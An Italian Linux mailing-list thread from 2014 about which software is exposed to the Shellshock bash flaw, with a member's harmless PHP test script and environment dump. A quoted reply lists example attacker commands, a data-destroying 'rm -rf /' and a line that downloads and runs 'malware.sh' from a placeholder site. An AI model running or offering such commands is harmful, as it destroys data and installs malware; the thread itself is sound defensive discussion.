[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [linux_var] shellshock quali sw a rischio ?



Ciao,

ho fatto un semplice test sul mio sito ed eseguendo la system da PHP non vengono passate le variabili di ambiente di default,

ho lanciato:     http://h.settebello.info/testme.php?param=EMERGENZAEMERGENZAEMERGENZA

allego programmini di test e risultato... quindi ad occhio sono tranquillo
mentre, ma quello che (per me) era ovvio già da prima, se volessi passare
il contenuto di "param" allo script dovrei fare un corretto checking del contenuto...




root@vmi23215:~# cat /var/www/default/testme.php
<?php

  system( "/usr/local/bin/testme.sh" ) ;






root@vmi23215:~# cat /usr/local/bin/testme.sh
#!/bin/bash

set > /tmp/test.me







root@vmi23215:~# cat /var/www/default/testme.php
<?php

  system( "/usr/local/bin/testme.sh" ) ;

root@vmi23215:~# cat /usr/local/bin/testme.sh
#!/bin/bash

set > /tmp/test.me






root@vmi23215:~# cat /tmp/test.me
APACHE_LOCK_DIR=/var/lock/apache2
APACHE_LOG_DIR=/var/log/apache2
APACHE_PID_FILE=/var/run/apache2.pid
APACHE_RUN_DIR=/var/run/apache2
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
BASH=/bin/bash
BASHOPTS=cmdhist:extquote:force_fignore:hostcomplete:interactive_comments:progcomp:promptvars:sourcepath
BASH_ALIASES=()
BASH_ARGC=()
BASH_ARGV=()
BASH_CMDS=()
BASH_LINENO=([0]="0")
BASH_SOURCE=([0]="/usr/local/bin/testme.sh")
BASH_VERSINFO=([0]="4" [1]="2" [2]="37" [3]="1" [4]="release" [5]="x86_64-pc-linux-gnu")
BASH_VERSION='4.2.37(1)-release'
DIRSTACK=()
EUID=33
GROUPS=()
HOSTNAME=vmi23215.contabo.net
HOSTTYPE=x86_64
IFS=$' \t\n'
LANG=C
MACHTYPE=x86_64-pc-linux-gnu
OPTERR=1
OPTIND=1
OSTYPE=linux-gnu
PATH=/usr/local/bin:/usr/bin:/bin
PPID=31288
PS4='+ '
PWD=/var/www/default
SHELL=/bin/sh
SHELLOPTS=braceexpand:hashall:interactive-comments
SHLVL=1
TERM=dumb
UID=33
_=/bin/bash




Il giorno 26 settembre 2014 22:33, Diego Roversi <diegor@tiscali.it> ha scritto:
On Fri, 26 Sep 2014 12:54:36 +0200
Lorenzo Lobba <lorenzo.lobba@gmail.com> wrote:

> Allora. Sono a rischio le CGI che usano bash (ksh, dash &C sono
> immuni) e potenzialmente quelle si basano su Perl e tramite "system"
> fanno una chiamata a una funzione bash.

Se fanno una system SONO vulnerabili, se bash e' la shell dell'utente. Quando tu lanci system('/usr/bin/ps') in realta' viene fatto un fork + exec /bin/sh -c /usr/bin/ps e quindi sei fregato.

La cosa e' subdola perche' non e' necessario che sia il cgi-bin a chiamare una bash, ma un qualsiasi sottoprocesso (o un sotto-sotto-processo).

> Inviando alla bash tramite variabili alcune stringe di caratteri, si
> possono eseguire in remoto comandi sul server.
> Da quanto ho capito si possono solo dare comandi di lettura. Il
> rischio è che le informazioni carpite possano essere poi usate per
> sfruttare altre vulnerabilità.

Nein. Qualsiasi comando puo' essere chiamato. Compreso "rm -rf /". Oppure "wget http://sito/malware.sh; ./malware.sh".

Se usate debian o derivate, al 90% vi salvate, perche' la shell di default per gli script e' /bin/dash. Ma nel dubbio farei *subito* un aggiornamento. Le patch per questa vulnerabilita' sono gia' presenti nelle vostre distro di fiducia.

La cosa piu' inquietante, che oltre ai cgi-bin, potrebbero bucarvi il portatile, se vi collegate ad una rete con un dhcp "malevolo". Spero di aver reso l'idea della gravita'.

--
Diego Roversi <diegor@tiscali.it>
_______________________________________________
Talking mailing list
Talking@ml.linuxvar.it
http://ml.linuxvar.it/cgi-bin/mailman/listinfo/talking



--
-----------------------------------------------------------------------------------------
Luca 18,5 : "Poiché questa vedova è così molesta le farò giustizia, perché non venga continuamente a importunarmi".
Neemia 8,10 : "...questo giorno è consacrato al nostro Signore; non siate tristi; perché la gioia del Signore è la vostra forza".
GSM 345.6050488 / 327.0547392 / 392.0698126 - Fax 06.62204735
_______________________________________________
Talking mailing list
Talking@ml.linuxvar.it
http://ml.linuxvar.it/cgi-bin/mailman/listinfo/talking